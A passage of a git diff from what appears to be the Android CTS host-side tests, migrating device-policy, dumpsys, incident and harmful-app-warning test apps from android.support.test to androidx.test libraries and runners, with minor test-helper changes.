diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferProfileOwnerOutgoingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferProfileOwnerOutgoingTest.java
index dc4c63d..157e840 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferProfileOwnerOutgoingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferProfileOwnerOutgoingTest.java
@@ -22,7 +22,8 @@
import android.app.admin.DevicePolicyManager;
import android.os.PersistableBundle;
-import android.support.test.filters.SmallTest;
+
+import androidx.test.filters.SmallTest;
import org.junit.Test;
diff --git a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk
index b03cf95..6ec2c8d 100644
--- a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk
+++ b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsWifiConfigCreator
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 6589b22..eecf6df 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -63,7 +63,7 @@
)
private boolean mSkipDeviceAdminFeatureCheck = false;
- private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+ private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
protected static final int USER_SYSTEM = 0; // From the UserHandle class.
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
old mode 100755
new mode 100644
index 28dd552..d52a184
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -538,7 +538,7 @@
mPrimaryUserId);
// Reboot while in kiosk mode and then unlock the device
- getDevice().reboot();
+ rebootAndWaitUntilReady();
// Check that kiosk mode is working and can't be interrupted
runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest",
@@ -560,7 +560,7 @@
mPrimaryUserId);
// Reboot while in kiosk mode and then unlock the device
- getDevice().reboot();
+ rebootAndWaitUntilReady();
// Try to open settings via adb
executeShellCommand("am start -a android.settings.SETTINGS");
diff --git a/hostsidetests/dexmetadata/app/Android.mk b/hostsidetests/dexmetadata/app/Android.mk
index bb1581d..8d17ebd 100644
--- a/hostsidetests/dexmetadata/app/Android.mk
+++ b/hostsidetests/dexmetadata/app/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules compatibility-device-util-axt
# Tag this module as test artifact for cts,
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/dexmetadata/app/AndroidManifest.xml b/hostsidetests/dexmetadata/app/AndroidManifest.xml
index 88a8c12..136e403 100644
--- a/hostsidetests/dexmetadata/app/AndroidManifest.xml
+++ b/hostsidetests/dexmetadata/app/AndroidManifest.xml
@@ -21,7 +21,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.dexmetadata" />
</manifest>
diff --git a/hostsidetests/dexmetadata/app/src/com/android/cts/dexmetadata/InstallDexMetadataTest.java b/hostsidetests/dexmetadata/app/src/com/android/cts/dexmetadata/InstallDexMetadataTest.java
index 8d6e148..fc38c4e 100644
--- a/hostsidetests/dexmetadata/app/src/com/android/cts/dexmetadata/InstallDexMetadataTest.java
+++ b/hostsidetests/dexmetadata/app/src/com/android/cts/dexmetadata/InstallDexMetadataTest.java
@@ -25,23 +25,24 @@
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.os.Build.VERSION_CODES;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.util.ArrayMap;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.ApiLevelUtil;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
-import org.junit.Assume;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
/**
* Device-side test for verifying dex metadata installs.
*/
diff --git a/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk b/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk
index ff34e63..a772a05 100644
--- a/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk
+++ b/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk
@@ -21,7 +21,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsFramestatsTestApp
diff --git a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk
index c6e8104..a3df725 100644
--- a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk
+++ b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk
@@ -27,8 +27,8 @@
LOCAL_JAVA_LIBRARIES := cts-junit
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
androidx.legacy_legacy-support-v4
LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk b/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk
index dd0fb9c..24e72ab 100644
--- a/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk
+++ b/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk
@@ -27,8 +27,8 @@
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
androidx.legacy_legacy-support-v4
LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/dumpsys/apps/ProcStatsTestApp/AndroidManifest.xml b/hostsidetests/dumpsys/apps/ProcStatsTestApp/AndroidManifest.xml
index 56cacb5..1a72886 100644
--- a/hostsidetests/dumpsys/apps/ProcStatsTestApp/AndroidManifest.xml
+++ b/hostsidetests/dumpsys/apps/ProcStatsTestApp/AndroidManifest.xml
@@ -21,6 +21,6 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.server.cts.procstats" />
</manifest>
diff --git a/hostsidetests/dumpsys/apps/ProcStatsTestApp/src/com/android/server/cts/procstats/ProcStatsTest.java b/hostsidetests/dumpsys/apps/ProcStatsTestApp/src/com/android/server/cts/procstats/ProcStatsTest.java
index c6836c3..b7771bc 100644
--- a/hostsidetests/dumpsys/apps/ProcStatsTestApp/src/com/android/server/cts/procstats/ProcStatsTest.java
+++ b/hostsidetests/dumpsys/apps/ProcStatsTestApp/src/com/android/server/cts/procstats/ProcStatsTest.java
@@ -15,17 +15,16 @@
*/
package com.android.server.cts.procstats;
-import static junit.framework.Assert.assertEquals;
import static junit.framework.TestCase.fail;
import android.content.ComponentName;
import android.content.Intent;
import android.os.ParcelFileDescriptor;
-import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/hostsidetests/dumpsys/apps/storagedapp/Android.mk b/hostsidetests/dumpsys/apps/storagedapp/Android.mk
index 6364855..a1670db 100644
--- a/hostsidetests/dumpsys/apps/storagedapp/Android.mk
+++ b/hostsidetests/dumpsys/apps/storagedapp/Android.mk
@@ -27,8 +27,8 @@
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
androidx.legacy_legacy-support-v4
LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/dumpsys/apps/storagedapp/AndroidManifest.xml b/hostsidetests/dumpsys/apps/storagedapp/AndroidManifest.xml
index db3d79f..c4b7a7e 100644
--- a/hostsidetests/dumpsys/apps/storagedapp/AndroidManifest.xml
+++ b/hostsidetests/dumpsys/apps/storagedapp/AndroidManifest.xml
@@ -25,6 +25,6 @@
<activity android:name=".SimpleIOActivity" android:label="Storaged Test Activity"/>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.server.cts.storaged" />
</manifest>
diff --git a/hostsidetests/dumpsys/apps/storagedapp/src/com/android/server/cts/storaged/StoragedTest.java b/hostsidetests/dumpsys/apps/storagedapp/src/com/android/server/cts/storaged/StoragedTest.java
index 0e54c68..cab23d2 100644
--- a/hostsidetests/dumpsys/apps/storagedapp/src/com/android/server/cts/storaged/StoragedTest.java
+++ b/hostsidetests/dumpsys/apps/storagedapp/src/com/android/server/cts/storaged/StoragedTest.java
@@ -17,8 +17,9 @@
import android.content.Context;
import android.content.Intent;
-import android.support.test.runner.AndroidJUnit4;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BaseDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BaseDumpsysTest.java
index ca548c8..b0006b4 100644
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BaseDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BaseDumpsysTest.java
@@ -43,7 +43,7 @@
public class BaseDumpsysTest extends DeviceTestCase implements IBuildReceiver {
protected static final String TAG = "DumpsysHostTest";
- private static final String TEST_RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+ private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
/**
* A reference to the device under test.
diff --git a/hostsidetests/harmfulappwarning/src/android/harmfulappwarning/cts/HarmfulAppWarningTest.java b/hostsidetests/harmfulappwarning/src/android/harmfulappwarning/cts/HarmfulAppWarningTest.java
index c93404d..4fc88fa 100644
--- a/hostsidetests/harmfulappwarning/src/android/harmfulappwarning/cts/HarmfulAppWarningTest.java
+++ b/hostsidetests/harmfulappwarning/src/android/harmfulappwarning/cts/HarmfulAppWarningTest.java
@@ -71,6 +71,9 @@
private static final String GET_HARMFUL_APP_WARNING_COMMAND = String.format(
"cmd package get-harmful-app-warning %s", TEST_APP_PACKAGE_NAME);
+ private static final String LIST_PACKAGES_COMMAND =
+ "cmd package list packages --user %d " + TEST_APP_PACKAGE_NAME;
+
private ITestDevice mDevice;
@Before
@@ -104,13 +107,15 @@
}
private void verifySampleAppUninstalled() throws DeviceNotAvailableException {
- PackageInfo info = getDevice().getAppPackageInfo(TEST_APP_PACKAGE_NAME);
- Assert.assertNull("Harmful application was not uninstalled", info);
+ String installedPackage = getDevice().executeShellCommand(
+ String.format(LIST_PACKAGES_COMMAND, getDevice().getCurrentUser()));
+ Assert.assertTrue("Harmful application was not uninstalled", installedPackage.isEmpty());
}
private void verifySampleAppInstalled() throws DeviceNotAvailableException {
- PackageInfo info = getDevice().getAppPackageInfo(TEST_APP_PACKAGE_NAME);
- Assert.assertNotNull("Harmful application was uninstalled", info);
+ String installedPackage = getDevice().executeShellCommand(
+ String.format(LIST_PACKAGES_COMMAND, getDevice().getCurrentUser()));
+ Assert.assertFalse("Harmful application was uninstalled", installedPackage.isEmpty());
}
/**
diff --git a/hostsidetests/harmfulappwarning/testapp/Android.mk b/hostsidetests/harmfulappwarning/testapp/Android.mk
index 3ab50c4..34854f4 100644
--- a/hostsidetests/harmfulappwarning/testapp/Android.mk
+++ b/hostsidetests/harmfulappwarning/testapp/Android.mk
@@ -26,8 +26,8 @@
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
- compatibility-device-util \
+ androidx.test.rules \
+ compatibility-device-util-axt \
ub-uiautomator
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/harmfulappwarning/testapp/AndroidManifest.xml b/hostsidetests/harmfulappwarning/testapp/AndroidManifest.xml
index 4f6bc69..f686dd7 100644
--- a/hostsidetests/harmfulappwarning/testapp/AndroidManifest.xml
+++ b/hostsidetests/harmfulappwarning/testapp/AndroidManifest.xml
@@ -23,7 +23,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.harmfulappwarning.testapp" />
</manifest>
diff --git a/hostsidetests/harmfulappwarning/testapp/src/android/harmfulappwarning/testapp/HarmfulAppWarningDeviceTest.java b/hostsidetests/harmfulappwarning/testapp/src/android/harmfulappwarning/testapp/HarmfulAppWarningDeviceTest.java
index c81702d..88a3179 100644
--- a/hostsidetests/harmfulappwarning/testapp/src/android/harmfulappwarning/testapp/HarmfulAppWarningDeviceTest.java
+++ b/hostsidetests/harmfulappwarning/testapp/src/android/harmfulappwarning/testapp/HarmfulAppWarningDeviceTest.java
@@ -16,6 +16,16 @@
package android.harmfulappwarning.testapp;
+import android.app.Instrumentation;
+import android.content.Intent;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.BlockingBroadcastReceiver;
import org.junit.After;
@@ -24,15 +34,6 @@
import org.junit.Test;
import org.junit.runner.RunWith;
-import android.app.Instrumentation;
-import android.content.Intent;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject2;
-import android.support.test.uiautomator.Until;
-
import java.util.concurrent.TimeUnit;
/**
diff --git a/hostsidetests/incident/apps/batterystatsapp/Android.mk b/hostsidetests/incident/apps/batterystatsapp/Android.mk
index e1518ef..822bb65 100644
--- a/hostsidetests/incident/apps/batterystatsapp/Android.mk
+++ b/hostsidetests/incident/apps/batterystatsapp/Android.mk
@@ -27,8 +27,8 @@
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit org.apache.http.legacy
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
androidx.legacy_legacy-support-v4
LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml b/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml
index d3e5e26..82b2311 100644
--- a/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml
+++ b/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml
@@ -66,6 +66,6 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.server.cts.device.batterystats" />
</manifest>
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
index c49a824..9b6c23f 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
@@ -24,10 +24,11 @@
import android.content.Intent;
import android.content.IntentFilter;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsDeviceTestBase.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsDeviceTestBase.java
index e53c213..35b67c9 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsDeviceTestBase.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsDeviceTestBase.java
@@ -15,21 +15,15 @@
*/
package com.android.server.cts.device.batterystats;
-import static junit.framework.Assert.assertEquals;
-
import android.content.Context;
import android.os.PowerManager;
-import android.support.test.runner.AndroidJUnit4;
-import android.support.test.InstrumentationRegistry;
-import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
-import org.junit.Test;
import org.junit.runner.RunWith;
-import java.net.HttpURLConnection;
-import java.net.URL;
-
/**
* Used by BatteryStatsValidationTest.
*/
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsJobDurationTests.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsJobDurationTests.java
index 527f8bc..e4434e1 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsJobDurationTests.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsJobDurationTests.java
@@ -21,9 +21,10 @@
import android.app.job.JobInfo;
import android.app.job.JobScheduler;
import android.content.ComponentName;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsProcessStateTests.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsProcessStateTests.java
index 5c72aa4..c57f18e 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsProcessStateTests.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsProcessStateTests.java
@@ -15,12 +15,11 @@
*/
package com.android.server.cts.device.batterystats;
-import android.app.Notification;
-import android.app.NotificationManager;
import android.content.Intent;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsSyncTest.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsSyncTest.java
index daa6f5e..927010e 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsSyncTest.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsSyncTest.java
@@ -18,8 +18,9 @@
import android.accounts.Account;
import android.content.ContentResolver;
import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.After;
import org.junit.Before;
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsWakeLockTests.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsWakeLockTests.java
index 9956e79..4389c76 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsWakeLockTests.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsWakeLockTests.java
@@ -15,11 +15,10 @@
*/
package com.android.server.cts.device.batterystats;
-import android.content.Context;
import android.os.PowerManager;
-import android.support.test.runner.AndroidJUnit4;
-import org.junit.Before;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/hostsidetests/incident/apps/boundwidgetapp/Android.mk b/hostsidetests/incident/apps/boundwidgetapp/Android.mk
index 0b6a884..0a671a1 100644
--- a/hostsidetests/incident/apps/boundwidgetapp/Android.mk
+++ b/hostsidetests/incident/apps/boundwidgetapp/Android.mk
@@ -27,8 +27,8 @@
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit android.test.base.stubs
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
androidx.legacy_legacy-support-v4
LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/incident/apps/boundwidgetapp/AndroidManifest.xml b/hostsidetests/incident/apps/boundwidgetapp/AndroidManifest.xml
index 312d05d..9825d5c 100644
--- a/hostsidetests/incident/apps/boundwidgetapp/AndroidManifest.xml
+++ b/hostsidetests/incident/apps/boundwidgetapp/AndroidManifest.xml
@@ -40,7 +40,7 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.appwidget.cts"
android:label="CTS Tests for the dumpsys protobuf protocol">
<meta-data android:name="listener"
diff --git a/hostsidetests/incident/apps/errorsapp/Android.mk b/hostsidetests/incident/apps/errorsapp/Android.mk
index ec80ba8..e100684 100644
--- a/hostsidetests/incident/apps/errorsapp/Android.mk
+++ b/hostsidetests/incident/apps/errorsapp/Android.mk
@@ -32,8 +32,8 @@
LOCAL_JNI_SHARED_LIBRARIES := libcrash-jni
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
androidx.legacy_legacy-support-v4
LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/incident/apps/errorsapp/AndroidManifest.xml b/hostsidetests/incident/apps/errorsapp/AndroidManifest.xml
index 41fde5c..b0c516e 100644
--- a/hostsidetests/incident/apps/errorsapp/AndroidManifest.xml
+++ b/hostsidetests/incident/apps/errorsapp/AndroidManifest.xml
@@ -29,7 +29,7 @@
<activity android:name=".NativeActivity" android:label="Native Crash Test Activity" android:process=":TestProcess" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.server.cts.errors" />
</manifest>
diff --git a/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/ErrorsTests.java b/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/ErrorsTests.java
index f5ce5d9..00296b3 100644
--- a/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/ErrorsTests.java
+++ b/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/ErrorsTests.java
@@ -22,17 +22,18 @@
import android.content.Intent;
import android.content.IntentFilter;
import android.os.DropBoxManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
/**
* Used by ErrorTest. Spawns misbehaving activities so reports will appear in Dropbox.
*/
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/Android.mk b/hostsidetests/incident/apps/graphicsstatsapp/Android.mk
index ebcea6b..5dcb56d 100644
--- a/hostsidetests/incident/apps/graphicsstatsapp/Android.mk
+++ b/hostsidetests/incident/apps/graphicsstatsapp/Android.mk
@@ -27,8 +27,8 @@
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
androidx.legacy_legacy-support-v4
LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/AndroidManifest.xml b/hostsidetests/incident/apps/graphicsstatsapp/AndroidManifest.xml
index cfe80be..0f9a3a0 100644
--- a/hostsidetests/incident/apps/graphicsstatsapp/AndroidManifest.xml
+++ b/hostsidetests/incident/apps/graphicsstatsapp/AndroidManifest.xml
@@ -23,6 +23,6 @@
<activity android:name=".DrawFramesActivity" android:label="GraphicsStats Test Activity" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.server.cts.device.graphicsstats" />
</manifest>
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/SimpleDrawFrameTests.java b/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/SimpleDrawFrameTests.java
index b2b8b7d..56413f8 100644
--- a/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/SimpleDrawFrameTests.java
+++ b/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/SimpleDrawFrameTests.java
@@ -15,15 +15,16 @@
*/
package com.android.server.cts.device.graphicsstats;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
/**
* Used by GraphicsStatsTest.
diff --git a/hostsidetests/incident/apps/netstatsapp/Android.mk b/hostsidetests/incident/apps/netstatsapp/Android.mk
index 158fb35..9f4af1d 100644
--- a/hostsidetests/incident/apps/netstatsapp/Android.mk
+++ b/hostsidetests/incident/apps/netstatsapp/Android.mk
@@ -27,8 +27,8 @@
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
androidx.legacy_legacy-support-v4
LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/incident/apps/netstatsapp/AndroidManifest.xml b/hostsidetests/incident/apps/netstatsapp/AndroidManifest.xml
index b9d4d17..df045fd 100644
--- a/hostsidetests/incident/apps/netstatsapp/AndroidManifest.xml
+++ b/hostsidetests/incident/apps/netstatsapp/AndroidManifest.xml
@@ -23,6 +23,6 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.server.cts.netstats" />
</manifest>
diff --git a/hostsidetests/incident/apps/netstatsapp/src/com/android/server/cts/netstats/NetstatsDeviceTest.java b/hostsidetests/incident/apps/netstatsapp/src/com/android/server/cts/netstats/NetstatsDeviceTest.java
index bdc5fd3..e9ec71e 100644
--- a/hostsidetests/incident/apps/netstatsapp/src/com/android/server/cts/netstats/NetstatsDeviceTest.java
+++ b/hostsidetests/incident/apps/netstatsapp/src/com/android/server/cts/netstats/NetstatsDeviceTest.java
@@ -16,9 +16,10 @@
package com.android.server.cts.netstats;
import android.net.TrafficStats;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/hostsidetests/incident/apps/notificationsapp/Android.mk b/hostsidetests/incident/apps/notificationsapp/Android.mk
index af1619e..4281861 100644
--- a/hostsidetests/incident/apps/notificationsapp/Android.mk
+++ b/hostsidetests/incident/apps/notificationsapp/Android.mk
@@ -27,8 +27,8 @@
